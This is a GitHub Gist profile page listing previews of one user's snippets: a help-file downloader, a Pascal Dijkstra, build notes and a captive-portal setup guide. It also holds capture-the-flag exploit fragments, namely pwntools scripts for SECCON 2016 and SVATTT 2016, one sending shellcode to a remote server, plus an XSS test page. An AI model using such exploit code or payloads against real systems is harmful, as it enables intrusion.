Skip to content

Instantly share code, notes, and snippets.

View chitoge's full-sized avatar
🐱
Permanently sad

Thanh Do chitoge

🐱
Permanently sad
View GitHub Profile
@chitoge
chitoge / vs2010_help_puller.py
Created December 30, 2023 21:13
Downloads Visual Studio 2010 help files to disk
from pathlib import Path
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
base_remote_url = "http://services.mtps.microsoft.com/ServiceAPI/products"
output_directory = "./downloaded_files"
exclude_languages = ["fr-fr", "pt-br", "es-es", "pl-pl", "de-de", "cs-cz", "it-it", "tr-tr", "ru-ru", "ja-jp", "ko-kr", "zh-tw", "zh-cn"]
package_folder_name = "packages"
from pwn import *
r = remote('54.175.77.52', 2345)
from z3 import *
def gen(s):
p1 = 0
for i in xrange(len(s)):
p1 = 2 * p1 + ord(s[i])
p2 = 0x1337
import angr
def char(state, n):
"""Returns a symbolic BitVector and constrains it to printable chars
for a given state."""
vec = state.se.BVS('c{}'.format(n), 8, explicit_name=True)
return vec, state.se.And(vec >= ord(' '), vec <= ord('~'))
def decrypt(state):

Setup wifi captive portal blackhole không có mạng

Yêu cầu

  • Card wifi hỗ trợ Access Point mode, kiểm tra bằng lệnh iw list:
Wiphy phy1
...
	Supported interface modes:
		 * IBSS
		 * managed

Keybase proof

I hereby claim:

  • I am chitoge on github.
  • I am nyaacate (https://keybase.io/nyaacate) on keybase.
  • I have a public key whose fingerprint is 845C FC30 219B 70B2 A817 AF14 E4A3 3FFD DBAC 3F0F

To claim this, I am signing this object:

@chitoge
chitoge / floyd_fibheap.pas
Created June 2, 2019 12:10
Fibonacci heap Dijkstra implementation, tested against https://vn.spoj.com/problems/FLOYD/
{$M 2000000}
program floyd;
const
nm = 100;
oo = 4*trunc(1e9);
type
pNode = ^node;
node = record
v: word;
w: longword;

Build instructions (tested on Windows 10 1809 x64)

Install Windows SDK v7.1, WinDDK v7.1, and then Visual C++ Compiler 2010 SP1. Install OpenSSL with the link specified in the official guide.

As vcvarsall.bat won't recognize amd64, you'll need to run a slightly different command to initialize the build environment:

"C:\Program Files\Microsoft SDKs\Windows\v7.1\Bin\SetEnv.cmd" /x64 /Release
<!DOCTYPE html>
<HTML>
<HEAD>
<TITLE>Your Title Here</TITLE>
</HEAD>
<BODY BGCOLOR="FFFFFF">
<script>alert(1)</script>
</BODY>
</HTML>
@chitoge
chitoge / seccon2016_jmper.py
Created December 12, 2016 15:41
SECCON Quals 2016 jmper
from pwn import *
puts_got = 0x601FA0
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
@chitoge
chitoge / svattt16_final_shellcode16.py
Created December 2, 2016 16:47
SVATTT 2016 Final RE 1
from pwn import *
context.arch = 'i386'
payload = 'mov al, 0x3; mov bl, 0x3; sub cl, 0x80; mov dx, 0x1000; int 0x80; ret'
payload = asm(payload)
print len(payload)
r = remote('139.59.235.1', 40002)
r.send(payload.ljust(16, '\x90'))
r.interactive()